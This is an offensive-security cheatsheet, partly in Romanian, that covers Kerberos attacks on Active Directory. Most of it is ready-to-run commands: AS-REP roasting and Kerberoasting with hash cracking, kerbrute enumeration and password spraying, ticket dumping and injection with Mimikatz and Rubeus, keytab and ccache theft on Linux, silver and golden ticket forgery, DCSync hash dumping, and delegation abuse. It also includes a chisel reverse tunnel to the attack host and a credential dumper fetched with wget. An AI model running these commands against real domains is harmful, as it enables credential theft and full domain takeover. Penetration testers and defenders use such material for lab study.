Title	Kerberos Attacks Cheatsheet
Category	Cheatsheets
Description	Atacuri Kerberos: enumerare, Kerberoasting, AS-REP roasting, pass-the-ticket, silver/golden ticket, delegation abuse (unconstrained/constrained).
Updated	2026-07-15

Kerberos Attacks Cheatsheet

Terminology

Term	Description
TGT	Ticket Granting Ticket — obtained at authentication
TGS	Ticket Granting Service — used to access a service
AS-REP	Authentication Server Response (pre-authentication)
SPN	Service Principal Name — maps service to account
KDC	Key Distribution Center (Domain Controller)
PAC	Privilege Attribute Certificate — embedded in tickets
KRBTGT	KDC service account hash — keys to the kingdom

AS-REP Roasting

Targets accounts with "Do not require Kerberos pre-authentication" enabled. Request a TGT for such accounts and crack the AS-REP hash offline.

impacket-GetNPUsers

# Single user
impacket-GetNPUsers -dc-ip <DC_IP> DOMAIN/user -request

# All users in domain (needs valid creds or list)
impacket-GetNPUsers -dc-ip <DC_IP> DOMAIN/ -usersfile users.txt -request
impacket-GetNPUsers -dc-ip <DC_IP> -no-pass DOMAIN/

# With list of users (no creds needed — tests each for pre-auth disabled)
impacket-GetNPUsers -dc-ip <DC_IP> -usersfile users.txt DOMAIN/ -no-pass -request

# Output format for hashcat
impacket-GetNPUsers -dc-ip <DC_IP> -usersfile users.txt DOMAIN/ -format hashcat -outputfile hashes.asreproast

NetExec (nxc)

nxc ldap <DC_IP> -u <user> -p <pass> --asreproast asreproast.txt
nxc ldap <DC_IP> -u '' -p '' --asreproast asreproast.txt    # null bind

Crack the hash

# Hashcat mode 18200
hashcat -m 18200 hashes.asreproast /usr/share/wordlists/rockyou.txt

# John
john hashes.asreproast --wordlist=/usr/share/wordlists/rockyou.txt

Kerberoasting

Request TGS tickets for service accounts (SPNs), then crack offline.

impacket-GetUserSPNs

# Basic — request TGS for all SPN accounts
impacket-GetUserSPNs -dc-ip <DC_IP> DOMAIN/<user>:<pass> -request

# Save to file
impacket-GetUserSPNs -dc-ip <DC_IP> DOMAIN/<user>:<pass> -request -outputfile hashes.kerberoast

# Without requesting tickets (just list SPNs)
impacket-GetUserSPNs -dc-ip <DC_IP> DOMAIN/<user>:<pass>

# Target specific SPN user
impacket-GetUserSPNs -dc-ip <DC_IP> DOMAIN/<user>:<pass> -request-user "svc_sql"

# Hashcat format
impacket-GetUserSPNs -dc-ip <DC_IP> DOMAIN/<user>:<pass> -request -format hashcat

NetExec (nxc)

nxc ldap <DC_IP> -u <user> -p <pass> --kerberoasta hashes.kerberoast
nxc ldap <DC_IP> -u <user> -p <pass> --kerberoasta --kdcHost <DC_IP> hashes.txt

Crack the hash

# Hashcat mode 13100 (TGS-REP)
hashcat -m 13100 hashes.kerberoast /usr/share/wordlists/rockyou.txt

# John
john hashes.kerberoast --wordlist=/usr/share/wordlists/rockyou.txt

Targeted Kerberoasting

Request TGS for a specific user's SPNs only (stealthier).

# Request for a specific service
impacket-GetUserSPNs -dc-ip <DC_IP> DOMAIN/<user>:<pass> -request-user "svc_sql"

Kerbrute — User Enumeration

Brute-force username discovery via Kerberos pre-authentication (no log events).

# Download: https://github.com/ropnop/kerbrute

# User enum via username list
kerbrute userenum -d DOMAIN.LOCAL --dc <DC_IP> usernames.txt

# Password spray (single password, many users)
kerbrute passwordspray -d DOMAIN.LOCAL --dc <DC_IP> users.txt 'Password123'

# Brute-force (user + password list)
kerbrute bruteuser -d DOMAIN.LOCAL --dc <DC_IP> passwords.txt username

# Verbose output
kerbrute userenum -d DOMAIN.LOCAL --dc <DC_IP> usernames.txt -v

Pass-the-Ticket (PTT)

Impersonate a user by injecting their Kerberos ticket into your session.

Refresher Kerberos

Component	Rol
TGT	Ticket Granting Ticket — primul ticket, obținut la autentificare. Permite cererea de TGS-uri.
TGS	Ticket Granting Service — ticket pentru un serviciu specific (ex. CIFS, LDAP, HTTP).
KDC	Key Distribution Center — DC-ul care emite ticket-ele.
LSASS	Local Security Authority Subsystem Service — stochează ticket-ele în memorie pe Windows.

Flow: User → (password hash) → TGT → (TGT) → TGS → (TGS) → Service

1. Harvesting Kerberos Tickets

Need local admin to dump tickets from LSASS.

Mimikatz — Export tickets

# Export all cached tickets (.kirbi files)
sekurlsa::tickets /export

# List current tickets
kerberos::list

# Export specific ticket
kerberos::list /export

Ticket-urile care se termină cu $ = computer account. User tickets: [random][email protected].
Dacă vezi krbtgt în service name, e vorba de un TGT.

⚠️ Mimikatz issue (v2.2.0 20220919+): pe unele Win10, sekurlsa::ekeys returnează toate hash-urile ca des_cbc_md4, iar ticket-urile exportate nu funcționează corect. Folosește Rubeus în loc.

Rubeus — Dump tickets

# Dump all tickets in Base64 format
Rubeus.exe dump /nowrap

2. OverPass the Hash / Pass the Key

Convertește un hash (rc4_hmac, aes256_cts_hmac_sha1) într-un TGT complet. Tehnică de către Benjamin Delpy & Skip Duckwall.

Extract Kerberos keys with Mimikatz

sekurlsa::ekeys

# Output example:
# aes256_hmac       b21c99fc068e3ab2ca789bccbef67de43791fd911c6e15ead25641a8fda3fe60
# rc4_hmac_nt       3f74aa8f08f712f09cd5177b5c1ce50f

Mimikatz — Pass the Key

# Deschide un cmd.exe în contextul userului target
sekurlsa::pth /domain:inlanefreight.htb /user:plaintext /ntlm:3f74aa8f08f712f09cd5177b5c1ce50f

Rubeus — asktgt

# Folosind hash AES256
Rubeus.exe asktgt /domain:inlanefreight.htb /user:plaintext /aes256:b21c99fc068e3ab2ca789bccbef67de43791fd911c6e15ead25641a8fda3fe60 /nowrap

# Folosind hash RC4 (NTLM)
Rubeus.exe asktgt /domain:inlanefreight.htb /user:plaintext /rc4:3f74aa8f08f712f09cd5177b5c1ce50f /nowrap

⚠️ Modern Windows domains (functional level 2008+) folosesc AES encryption by default. Dacă folosești rc4_hmac (NTLM) în loc de AES, poate fi detectat ca "encryption downgrade".

3. Pass the Ticket (PTT)

Rubeus — Inject TGT direct

# asktgt + ptt într-un pas
Rubeus.exe asktgt /domain:inlanefreight.htb /user:plaintext /rc4:3f74aa8f08f712f09cd5177b5c1ce50f /ptt

[+] Ticket successfully imported!

Rubeus — Inject din .kirbi file

Rubeus.exe ptt /ticket:[0;6c680][email protected]

Rubeus — Inject din Base64

Rubeus.exe ptt /ticket:doIE1jCCBNKgAwIBBaEDAgEWooID+TCCA/VhggPxMIID7aADAgEFoQkbB0hUQi5DT02iHDA...SNIP...

PowerShell — Convert .kirbi to Base64

[Convert]::ToBase64String([IO.File]::ReadAllBytes("ticket.kirbi"))

Mimikatz — Inject ticket

kerberos::ptt "C:\Users\plaintext\Desktop\[0;6c680][email protected]"

# Launch new cmd with injected ticket
misc::cmd

4. PtT with PowerShell Remoting

Requires admin / Remote Management Users group membership.

Mimikatz → PowerShell Remoting

# 1. Inject ticket with mimikatz
mimikatz # kerberos::ptt "ticket.kirbi"

# 2. Exit mimikatz, open PowerShell (same cmd.exe)
powershell

# 3. Connect to remote machine
Enter-PSSession -ComputerName DC01

Rubeus — createnetonly (sacrificial process)

Creează un proces/logon session separat (Logon type 9) ca să nu ștergi TGT-urile existente.

Rubeus.exe createnetonly /program:"C:\Windows\System32\cmd.exe" /show

[+] ProcessID: 1556
[+] LUID: 0xe07648

Din fereastra nouă:

Rubeus.exe asktgt /user:john /domain:inlanefreight.htb /aes256:9279bcbd40db957a0ed0d3856b2e67f9bb58e6dc7fc07207d0763ce2713f11dc /ptt

powershell
Enter-PSSession -ComputerName DC01

5. PtT from Linux (impacket)

impacket-ticketConverter

# Convert .kirbi (Windows) to .ccache (Linux)
impacket-ticketConverter ticket.kirbi ticket.ccache

# Convert .ccache (Linux) to .kirbi (Windows)
impacket-ticketConverter ticket.ccache ticket.kirbi

Use tickets with impacket

# Export KRB5CCNAME variable
export KRB5CCNAME=/path/to/ticket.ccache

# Use with impacket tools
impacket-psexec DOMAIN/user@<target> -k -no-pass
impacket-wmiexec DOMAIN/user@<target> -k -no-pass
impacket-smbexec DOMAIN/user@<target> -k -no-pass

# Use with secretsdump
impacket-secretsdump -k DOMAIN/user@<DC_IP> -no-pass

Use tickets with nxc

nxc smb <target> --use-kcache
nxc smb <target> -k        # same thing
nxc smb <target> --kerberos --use-kcache

Keytab usage

# Specify keytab file
export KRB5_CLIENT_KTNAME=/path/to/user.keytab

PtT from Linux — Deep Dive

1. Identify AD Integration

# Check if domain-joined
realm list

# Alternative: look for sssd or winbind
ps -ef | grep -i "winbind\|sssd"

2. Finding Kerberos Tickets on Linux

Keytab files

# Search for keytab files
find / -name *keytab* -ls 2>/dev/null

# Check cron jobs for keytab usage
crontab -l

Default: /etc/krb5.keytab (computer account — only readable by root).
Keytab files need read + write privileges to use.

ccache files

# Check env variable
env | grep -i krb5
# KRB5CCNAME=FILE:/tmp/krb5cc_647402606_qd2Pfh

# List ccache files in /tmp
ls -la /tmp/

3. Abusing KeyTab Files

List keytab contents

klist -k -t /opt/specialfiles/carlos.keytab

Impersonate user with kinit

# Check current ticket
klist

# Import keytab for carlos
kinit [email protected] -k -t /opt/specialfiles/carlos.keytab

# Verify
klist

# Access SMB share
smbclient //dc01/carlos -k -c ls

⚠️ kinit is case-sensitive. Use exact principal name from klist.
Save a copy of original ccache before importing — cp $KRB5CCNAME backup.ccache.

Extract hashes from keytab (KeyTabExtract)

# Download: https://github.com/sosdave/KeyTabExtract
python3 /opt/keytabextract.py /opt/specialfiles/carlos.keytab

REALM : INLANEFREIGHT.HTB
SERVICE PRINCIPAL : carlos/
NTLM HASH : a738f92b3c08b424ec2d99589a9cce60
AES-256 HASH : 42ff0baa586963d9010584eb9590595e8cd47c489e25e82aae69b1de2943007f
AES-128 HASH : fa74d5abf4061baa1d4ff8485d1261c4

Crack NTLM hash: hashcat -m 1000 sau crackstation.net

4. Abusing ccache Files

Need root or read access on the ccache file.

# Copy ccache file
cp /tmp/krb5cc_647401106_I8I133 .

# Import into session
export KRB5CCNAME=/root/krb5cc_647401106_I8I133

# Verify
klist

# Use with SMB
smbclient //dc01/C$ -k -c ls -no-pass

ccache files are temporary — verify expiration date with klist.

5. Using Tickets from Non-Domain-Join Machine

Need: KDC reachable + DNS resolution.

/etc/hosts

# Hardcode IPs
cat /etc/hosts
172.16.1.10 inlanefreight.htb   inlanefreight   dc01.inlanefreight.htb  dc01
172.16.1.5  ms01.inlanefreight.htb  ms01

Proxychains (via Chisel)

# Attack host: start chisel server
sudo ./chisel server --reverse

# Windows victim: connect back
C:\tools\chisel.exe client 10.10.14.33:8080 R:socks

# Proxychains config
cat /etc/proxychains.conf
[ProxyList]
socks5 127.0.0.1 1080

# Set ticket
export KRB5CCNAME=/home/htb-student/krb5cc_647401106_I8I133

6. Linux Attack Tools with Kerberos

Impacket

# Use -k flag + hostname (not IP)
proxychains impacket-wmiexec dc01 -k -no-pass
proxychains impacket-psexec dc01 -k -no-pass
proxychains impacket-smbexec dc01 -k -no-pass

If using FILE: prefix in KRB5CCNAME, remove it — use only the path.

Evil-WinRM

# Install krb5-user (set realm to INLANEFREIGHT.HTB, KDC to DC01)
sudo apt-get install krb5-user -y

# /etc/krb5.conf
[libdefaults]
default_realm = INLANEFREIGHT.HTB

[realms]
INLANEFREIGHT.HTB = {
    kdc = dc01.inlanefreight.htb
}

# Use with proxychains
proxychains evil-winrm -i dc01 -r inlanefreight.htb

7. Convert Tickets (ccache ↔ kirbi)

# ccache → kirbi (Linux → Windows)
impacket-ticketConverter krb5cc_647401106_I8I133 julio.kirbi

# kirbi → ccache (Windows → Linux)
impacket-ticketConverter ticket.kirbi ticket.ccache

Convertitul .kirbi poate fi importat în Windows cu Rubeus:

Rubeus.exe ptt /ticket:c:\tools\julio.kirbi
klist
dir \\dc01\julio

8. Linikatz — All-in-One Cred Dump

# Download
wget https://raw.githubusercontent.com/CiscoCXSecurity/linikatz/master/linikatz.sh

# Run as root — extracts from FreeIPA, SSSD, Samba, Vintella, etc.
/opt/linikatz.sh

Output: folder linikatz.*/ cu ccache + keytab files, gata de folosit.

Silver Ticket

Forge a TGS ticket to access a specific service. Requires service account NTLM hash.

# Mimikatz — Silver Ticket
kerberos::golden /domain:DOMAIN.LOCAL /sid:S-1-5-21-... /target:<target> /service:<service> /rc4:<NTLM_hash> /user:Administrator /ptt

# Common service types:
#   cifs  — file shares
#   http  — IIS/webserver
#   ldap  — LDAP queries
#   host  — scheduled tasks
#   winrm — WinRM access
#   mssql — MSSQL service

impacket examples

# Create silver ticket (ticketer)
impacket-ticketer -nthash <NTLM_hash> -domain-sid S-1-5-21-... -domain DOMAIN.LOCAL -spn cifs/target.domaim.local Administrator

# Then use with KRB5CCNAME
export KRB5CCNAME=Administrator.ccache
impacket-psexec DOMAIN/[email protected] -k -no-pass

nxc with silver ticket

nxc smb <target> -k --use-kcache

Golden Ticket

Forge a TGT with FULL domain admin rights. Requires KRBTGT account NTLM hash.

# Dump KRBTGT hash
lsadump::dcsync /user:krbtgt

# Create golden ticket
kerberos::golden /domain:DOMAIN.LOCAL /sid:S-1-5-21-... /rc4:<KRBTGT_NTLM> /user:Administrator /ptt

# With specific groups (enterprise admins for forest-wide)
kerberos::golden /domain:DOMAIN.LOCAL /sid:S-1-5-21-... /rc4:<KRBTGT_NTLM> /user:Administrator /groups:519 /ptt

# Create golden ticket ticket with PAC disabled (for older DCs)
kerberos::golden /domain:DOMAIN.LOCAL /sid:S-1-5-21-... /rc4:<KRBTGT_NTLM> /user:Administrator /ptt /pac:off

impacket — golden ticket

# Create golden ticket with ticketer
impacket-ticketer -nthash <KRBTGT_NTLM> -domain-sid S-1-5-21-... -domain DOMAIN.LOCAL Administrator

# Use it
export KRB5CCNAME=Administrator.ccache
impacket-secretsdump -k DOMAIN/Administrator@<DC_IP> -no-pass

nxc — golden ticket

export KRB5CCNAME=Administrator.ccache
nxc smb <DC_IP> -k --shares
nxc smb <DC_IP> -k -x whoami

DCSync

Simulate domain replication to dump password hashes from the DC. Requires Domain Admin or Replication-Get-Changes-All rights.

impacket-secretsdump

# Basic DCSync
impacket-secretsdump DOMAIN/<admin_user>:<password>@<DC_IP>

# DCSync specific user
impacket-secretsdump DOMAIN/<admin_user>:<password>@<DC_IP> -just-dc-user krbtgt

# DCSync all users (NTLM hashes only)
impacket-secretsdump DOMAIN/<admin_user>:<password>@<DC_IP> -just-dc-ntlm

# DCSync with pass-the-hash
impacket-secretsdump -hashes <LM:NT> DOMAIN/<user>@<DC_IP>

# Output to file
impacket-secretsdump DOMAIN/<admin_user>:<password>@<DC_IP> -outputfile dc_sync_output

# DCSync from specific domain controller
impacket-secretsdump DOMAIN/<admin_user>:<password>@<DC_IP> -dc-ip <DC_IP>

Mimikatz DCSync

# DCSync all users
lsadump::dcsync /domain:DOMAIN.LOCAL /all

# DCSync specific user
lsadump::dcsync /domain:DOMAIN.LOCAL /user:krbtgt
lsadump::dcsync /domain:DOMAIN.LOCAL /user:Administrator

nxc DCSync

nxc smb <DC_IP> -u <admin> -p <pass> --ntds
nxc smb <DC_IP> -u <admin> -p <pass> --ntds vss    # use VSS method
nxc smb <DC_IP> -u <admin> -p <pass> --ntds drsuapi # use DRSUAPI method

Kerberos Delegation Attacks

Unconstrained Delegation

Server can forward TGTs for any user — compromise the server to get TGTs of anyone connecting.

# Find computers with unconstrained delegation
nxc ldap <DC_IP> -u <user> -p <pass> --unconstrained-delegation

# Using BloodHound (Cypher)
MATCH (c:Computer {unconstraineddelegation:true}) RETURN c

Exploit: compromise the server, then dump TGTs of users who authenticate to it.

# On the compromised server
sekurlsa::tickets /export

Constrained Delegation

Server can impersonate users only to specific services.

# Find users/computers with constrained delegation
nxc ldap <DC_IP> -u <user> -p <pass> --constrained-delegation

# Impacket — S4U2Self + S4U2Proxy to get ticket
impacket-getST -spn <service>/<target> DOMAIN/<user>:<pass> -impersonate Administrator

# Then use the ticket
export KRB5CCNAME=Administrator.ccache
impacket-wmiexec DOMAIN/Administrator@<target> -k -no-pass

Resource-Based Constrained Delegation (RBCD)

# Set RBCD on target computer (needs WRITE rights on msDS-AllowedToActOnBehalfOfOtherIdentity)
impacket-rbcd -delegation-type constrained -delegate-from <controlled_computer$> -delegate-to <target_computer$> -action write -dc-ip <DC_IP> 'DOMAIN/<user>:<pass>'

# Then get ticket
impacket-getST -spn cifs/<target> -impersonate Administrator 'DOMAIN/<controlled>:$'

export KRB5CCNAME=Administrator.ccache
impacket-smbexec DOMAIN/Administrator@<target> -k -no-pass

nxc RBCD

# Find RBCD relationships
nxc ldap <DC_IP> -u <user> -p <pass> -M rbcd

Kerberos Maintenance & Troubleshooting

# List current Kerberos tickets
klist

# Purge all tickets
kdestroy

# Set ticket cache
export KRB5CCNAME=/tmp/krb5cc_$(id -u)

# Check DNS resolution (critical for Kerberos)
nslookup <DC_IP>
nslookup DOMAIN.LOCAL

# Check time sync (Kerberos is time-sensitive, <5min skew)
ntpdate <DC_IP>
timedatectl set-ntp true